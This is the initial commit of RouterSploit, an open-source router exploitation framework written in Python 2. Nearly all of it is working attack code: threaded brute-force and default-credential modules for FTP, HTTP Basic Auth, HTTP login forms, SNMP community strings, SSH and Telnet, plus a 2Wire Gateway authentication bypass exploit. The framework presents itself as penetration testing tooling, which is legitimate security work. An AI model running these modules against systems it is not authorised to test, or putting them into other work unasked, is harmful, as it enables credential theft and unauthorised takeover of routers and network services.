Commit f317cd8b by Marcin Bury

release 1.0.0 Wildest Dreams

parents
# IntelliJ project files
.idea
out
gen
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*,cover
# Translations
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# VS Code
.vscode
Copyright 2016, The RouterSploit Framework (RSF) by Reverse Shell Security
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of RouterSploit Framework nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to RouterSploit Framework as well.
Note that the RouterSploit Framework is provided as is, and is a royalty free open-source application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit.
# RouterSploit - Router Exploitation Framework
The RouteSploit Framework is an open-source exploitation framework dedicated to embedded devices.
It consists of various modules that aids penetration testing operations:
- exploits - modules that takes advantage of identified vulnerabilities
- creds - modules designed to test credentials against network services
- scanners - modules that check if target is vulnerable to any exploit
# Installation
sudo apt-get install python-requests python-paramiko python-netsnmp
git clone https://github.com/reverse-shell/routersploit
./rsf.py
# License
License has been taken from BSD licensing and applied to RouterSploit Framework.
Please see LICENSE for more details.
from routersploit.utils import print_error, print_status, print_success, print_table, sanitize_url, LockedIterator
from routersploit import exploits
from routersploit import wordlists
all = [
print_error, print_status, print_success,
exploits,
]
class RoutersploitException(Exception):
pass
\ No newline at end of file
from weakref import WeakKeyDictionary
from itertools import chain
import threading
import time
from routersploit.utils import print_info
class Option(object):
""" Exploit attribute that is set by the end user. """
def __init__(self, default, description=""):
self.default = default
self.description = description
self.data = WeakKeyDictionary()
def __get__(self, instance, owner):
return self.data.get(instance, self.default)
def __set__(self, instance, value):
self.data[instance] = value
class ExploitOptionsAggregator(type):
""" Metaclass for exploit base class.
Metaclass is aggregating all possible Attributes that user can set
for tab completion purposes.
"""
def __new__(cls, name, bases, attrs):
try:
base_exploit_attributes = chain(map(lambda x: x.exploit_attributes, bases))
except AttributeError:
attrs['exploit_attributes'] = {}
else:
attrs['exploit_attributes'] = {k: v for d in base_exploit_attributes for k, v in d.iteritems()}
for key, value in attrs.iteritems():
if isinstance(value, Option):
attrs['exploit_attributes'].update({key: value.description})
elif key == "__info__":
attrs["_{}{}".format(name, key)] = value
del attrs[key]
elif key in attrs['exploit_attributes']: # Removing exploit_attribute that was overwritten
del attrs['exploit_attributes'][key] # in the child and is not a Option() instance.
return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs)
class Exploit(object):
""" Base class for exploits. """
__metaclass__ = ExploitOptionsAggregator
target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
@property
def options(self):
""" Returns list of options that user can set.
Returns list of options aggregated by
ExploitOptionsAggregator metaclass that user can set.
:return: list of options that user can set
"""
return self.exploit_attributes.keys()
def run(self):
raise NotImplementedError("You have to define your own 'run' method.")
def check(self):
raise NotImplementedError("You have to define your own 'check' method.")
def run_threads(self, threads, target, *args, **kwargs):
workers = []
threads_running = threading.Event()
threads_running.set()
for worker_id in xrange(int(threads)):
worker = threading.Thread(
target=target,
args=chain((threads_running,), args),
kwargs=kwargs,
name='worker-{}'.format(worker_id),
)
workers.append(worker)
worker.start()
start = time.time()
try:
while worker.isAlive():
worker.join(1)
except KeyboardInterrupt:
threads_running.clear()
for worker in workers:
worker.join()
print_info('Elapsed time: ', time.time() - start, 'seconds')
import threading
import ftplib
import socket
import itertools
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module performs bruteforce attack against FTP service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'FTP Bruteforce',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(21, 'Target port')
threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
credentials = []
def run(self):
print_status("Running module...")
self.credentials = []
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
except socket.error, socket.timeout:
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close()
return
except:
pass
ftp.close()
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
print_status(name, 'process is starting...')
ftp = ftplib.FTP()
while running.is_set():
try:
user, password = data.next()
user = user.strip()
password = password.strip()
except StopIteration:
break
else:
retries = 0
while retries < 3:
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
break
except socket.error, socket.timeout:
print_error("{} Connection problem. Retrying...".format(name))
retries += 1
if retries > 2:
print_error("Too much connection problems. Quiting...")
return
try:
ftp.login(user, password)
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
except:
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password))
ftp.close()
print_status(name, 'process is terminated.')
import threading
import ftplib
import socket
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module perform dictionary attack with default credentials against FTP service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'FTP Default Creds',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(21, 'Target port')
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)')
credentials = []
def run(self):
print_status("Running module...")
self.credentials = []
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
except socket.error, socket.timeout:
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close()
return
except:
pass
ftp.close()
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
print_status(name, 'process is starting...')
ftp = ftplib.FTP()
while running.is_set():
try:
line = data.next().split(":")
user = line[0].strip()
password = line[1].strip()
except StopIteration:
break
else:
retries = 0
while retries < 3:
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
break
except:
print_error("{} Connection problem. Retrying...".format(name))
retries += 1
if retries > 2:
print_error("Too much connection problems. Quiting...")
return
try:
ftp.login(user, password)
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
except:
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password))
ftp.close()
print_status(name, 'process is terminated.')
import threading
import requests
import itertools
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module performs bruteforce attack against HTTP Basic Auth service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'HTTP Basic Bruteforce',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Numbers of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
credentials = []
def run(self):
print_status("Running module...")
self.credentials = []
url = sanitize_url("{}:{}".format(self.target, self.port))
try:
r = requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
if r.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
url = sanitize_url("{}:{}".format(self.target, self.port))
print_status(name, 'process is starting...')
while running.is_set():
try:
user, password = data.next()
user = user.strip()
password = password.strip()
r = requests.get(url, auth=(user, password))
if r.status_code != 401:
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
else:
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password))
except StopIteration:
break
print_status(name, 'process is terminated.')
import threading
import requests
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module perform dictionary attack with default credentials against HTTP Basic Auth service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'HTTP Basic Default Creds',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
credentials = []
def run(self):
print_status("Running module...")
self.credentials = []
url = sanitize_url("{}:{}".format(self.target, self.port))
try:
r = requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
if r.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
url = sanitize_url("{}:{}".format(self.target, self.port))
print_status(name, 'process is starting...')
while running.is_set():
try:
line = data.next().split(":")
user = line[0].strip()
password = line[1].strip()
r = requests.get(url, auth=(user, password))
if r.status_code != 401:
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
else:
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password))
except StopIteration:
break
print_status(name, 'process is terminated.')
import threading
import requests
import itertools
from bs4 import BeautifulSoup
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module performs bruteforce attack against HTTP form service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'HTTP Form Bruteforce',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path')
credentials = []
data = ""
invalid = {"min": 0, "max": 0}
def run(self):
print_status("Running module...")
self.credentials = []
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
try:
r = requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# authentication type
if self.form == 'auto':
self.data = self.detect_form()
if self.data == None:
print_error("Could not detect form")
return
else:
self.data = self.form
print_status("Using following data: ", self.data)
# invalid authentication
self.invalid_auth()
# running threads
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def invalid_auth(self):
for i in range(0, 21, 5):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
user = "A" * i
password = "A" * i
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata)
l = len(r.text)
if i == 0:
self.invalid = {"min": l, "max": l}
if l < self.invalid["min"]:
self.invalid["min"] = l
elif l > self.invalid["max"]:
self.invalid["max"] = l
def detect_form(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
r = requests.get(url)
soup = BeautifulSoup(r.text, "lxml")
form = soup.find("form")
if form == None:
return None
if len(form) > 0:
res = []
for inp in form.findAll("input"):
if 'name' in inp.attrs.keys():
if inp.attrs['name'].lower() in ["username", "user", "login"]:
res.append(inp.attrs['name']+"="+"{{USER}}")
elif inp.attrs['name'].lower() in ["password", "pass"]:
res.append(inp.attrs['name']+"="+"{{PASS}}")
else:
if 'value' in inp.attrs.keys():
res.append(inp.attrs['name']+"="+inp.attrs['value'])
else:
res.append(inp.attrs['name']+"=")
return '&'.join(res)
def target_function(self, running, data):
name = threading.current_thread().name
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
print_status(name, 'process is starting...')
while running.is_set():
try:
user, password = data.next()
user = user.strip()
password = password.strip()
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata)
l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
else:
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password))
except StopIteration:
break
print_status(name, 'process is terminated.')
import threading
import requests
from bs4 import BeautifulSoup
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module performs dictionary attack with default credentials against HTTP form service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'HTTP Form Default Creds',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path')
credentials = []
data = ""
invalid = {"min": 0, "max": 0}
def run(self):
print_status("Running module...")
self.credentials = []
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
try:
r = requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# authentication type
if self.form == 'auto':
self.data = self.detect_form()
if self.data == None:
print_error("Could not detect form")
return
else:
self.data = self.form
print_status("Using following data: ", self.data)
# invalid authentication
self.invalid_auth()
# running threads
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def invalid_auth(self):
for i in range(0, 21, 5):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
user = "A" * i
password = "A" * i
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata)
l = len(r.text)
if i == 0:
self.invalid = {"min": l, "max": l}
if l < self.invalid["min"]:
self.invalid["min"] = l
elif l > self.invalid["max"]:
self.invalid["max"] = l
def detect_form(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
r = requests.get(url)
soup = BeautifulSoup(r.text, "lxml")
form = soup.find("form")
if form == None:
return None
if len(form) > 0:
res = []
for inp in form.findAll("input"):
if 'name' in inp.attrs.keys():
if inp.attrs['name'].lower() in ["username", "user", "login"]:
res.append(inp.attrs['name']+"="+"{{USER}}")
elif inp.attrs['name'].lower() in ["password", "pass"]:
res.append(inp.attrs['name']+"="+"{{PASS}}")
else:
if 'value' in inp.attrs.keys():
res.append(inp.attrs['name']+"="+inp.attrs['value'])
else:
res.append(inp.attrs['name']+"=")
return '&'.join(res)
def target_function(self, running, data):
name = threading.current_thread().name
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
print_status(name, 'process is starting...')
while running.is_set():
try:
line = data.next().split(":")
user = line[0].strip()
password = line[1].strip()
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata)
l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
else:
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password))
except StopIteration:
break
print_status(name, 'process is terminated.')
import threading
import itertools
import netsnmp
import socket
from routersploit.utils import print_status, print_success, print_error, print_table, LockedIterator
from routersploit import exploits
from routersploit import wordlists
class Exploit(exploits.Exploit):
"""
Module performs bruteforce attack against SNMP service.
If valid community string is found, it is displayed to the user.
"""
__info__ = {
'name': 'SNMP Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(161, 'Target port')
threads = exploits.Option(8, 'Number of threads')
snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)')
strings = []
def run(self):
self.strings= []
print_status("Running module...")
# todo: check if service is up
if self.snmp.startswith('file://'):
snmp = open(self.snmp[7:], 'r')
else:
snmp = [self.snmp]
collection = LockedIterator(snmp)
self.run_threads(self.threads, self.target_function, collection)
if len(self.strings):
print_success("Credentials found!")
headers = tuple(["Community Strings"])
print_table(headers, *self.strings)
else:
print_error("Valid community strings not found")
def target_function(self, running, data):
name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...')
while running.is_set():
try:
string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
res = netsnmp.snmpget(bindvariable, Version = 1, DestHost = address, Community=string)
if res[0] != None:
running.clear()
print_success("{}: Valid community string found!".format(name), string)
self.strings.append(tuple([string]))
else:
print_error("{}: Invalid community string.".format(name), string)
except StopIteration:
break
print_status(name, 'thread is terminated.')
import threading
import itertools
import socket
import paramiko
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module performs bruteforce attack against SSH service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'SSH Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(22, 'Target port')
threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
credentials = []
def run(self):
self.credentials = []
print_status("Running module...")
ssh = paramiko.SSHClient()
try:
ssh.connect(self.target, port=self.port)
except socket.error:
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ssh.close()
return
except:
pass
ssh.close()
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
print_status(name, 'thread is starting...')
while running.is_set():
try:
user, password = data.next()
user = user.strip()
password = password.strip()
ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password)
except StopIteration:
break
except paramiko.ssh_exception.SSHException as err:
ssh.close()
print_error(name, err, user, password)
else:
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
print_status(name, 'thread is terminated.')
import threading
import paramiko
import socket
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module perform dictionary attack with default credentials against SSH service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'SSH Default Creds',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(22, 'Target port')
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
credentials = []
def run(self):
self.credentials = []
print_status("Running module...")
ssh = paramiko.SSHClient()
try:
ssh.connect(self.target, port=self.port)
except socket.error:
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ssh.close()
return
except:
pass
ssh.close()
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
print_status(name, 'process is starting...')
while running.is_set():
try:
line = data.next().split(":")
user = line[0].strip()
password = line[1].strip()
ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password)
except StopIteration:
break
except paramiko.ssh_exception.SSHException as err:
ssh.close()
print_error(name, err,"Username: '{}' Password: '{}'".format(user, password))
else:
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
print_status(name, 'process is terminated.')
import threading
import itertools
import telnetlib
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module performs bruteforce attack against Telnet service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'Telnet Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(23, 'Target port')
threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
credentials = []
def run(self):
self.credentials = []
print_status("Running module...")
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["login: ", "Login: "], 5)
tn.close()
except:
print_error("Connection error {}:{}".format(self.target, self.port))
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
print_status(name, 'thread is starting...')
while running.is_set():
try:
user, password = data.next()
user = user.strip()
password = password.strip()
except StopIteration:
break
else:
retries = 0
while retries < 3:
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["Login: ", "login: "], 5)
tn.write(user + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(password + "\r\n")
tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5)
tn.close()
if i != -1:
print_error(name, "Username: '{}' Password: '{}'".format(user, password))
else:
if any(map(lambda x: x in res, ["#", "$",">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
tn.close()
break
except EOFError:
print_error(name, "Connection problem. Retrying...")
retries += 1
if retries > 2:
print_error("Too much connection problems. Quiting...")
return
continue
print_status(name, 'thread is terminated.')
import threading
import telnetlib
from routersploit import *
class Exploit(exploits.Exploit):
"""
Module perform dictionary attack with default credentials against Telnet service.
If valid credentials are found, they are displayed to the user.
"""
__info__ = {
'name': 'Telnet Default Creds',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(23, 'Target port')
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
credentials = []
def run(self):
self.credentials = []
print_status("Running module...")
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["login: ", "Login: "], 5)
tn.close()
except:
print_error("Connection error {}:{}".format(self.target, self.port))
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
name = threading.current_thread().name
print_status(name, 'process is starting...')
while running.is_set():
try:
line = data.next().split(":")
user = line[0].strip()
password = line[1].strip()
except StopIteration:
break
else:
retries = 0
while retries < 3:
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["Login: ", "login: "], 5)
tn.write(user + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(password + "\r\n")
tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5)
tn.close()
if i != -1:
print_error(name, "Username: '{}' Password: '{}'".format(user, password))
else:
if any(map(lambda x: x in res, ["#", "$",">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear()
print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password))
tn.close()
break
except EOFError:
print_error(name, "Connection problem. Retrying...")
retries += 1
if retries > 2:
print_error("Too much connection problems. Quiting...")
return
continue
print_status(name, 'process is terminated.')
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for 2Wire Gateway devices Authentication Bypass vulnerability.
If the target is vulnerable link to bypass authentication is provided"
"""
__info__ = {
'name': '2Wire Gateway Auth Bypass',
'description': 'Module exploits 2Wire Gateway authentication bypass vulnerability. If the target is vulnerable link to bypass authentication is provided.',
'authors': [
'bugz', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://www.exploit-db.com/exploits/9459/',
],
'targets': [
'2Wire 2701HGV-W',
'2Wire 3800HGV-B',
'2Wire 3801HGV',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
if self.check():
print_success("Target is vulnerable")
print "\nUse your browser:"
print "{}:{}/xslt".format(self.target, self.port)
else:
print_error("Target seems to be not vulnerable")
def check(self):
# check if it is valid target
url = sanitize_url("{}:{}/".format(self.target, self.port))
try:
r = requests.get(url, verify=False)
res = r.text
except:
return None
if '<form name="pagepost" method="post" action="/xslt?PAGE=WRA01_POST&amp;NEXTPAGE=WRA01_POST" id="pagepost">' not in res:
return False
# checking if authentication can be baypassed
url = sanitize_url("{}:{}/xslt".format(self.target, self.port))
try:
r = requests.get(url, verify=False)
res = r.text
except:
return None
if '<form name="pagepost" method="post" action="/xslt?PAGE=WRA01_POST&amp;NEXTPAGE=WRA01_POST" id="pagepost">' not in res:
return True # target vulnerable
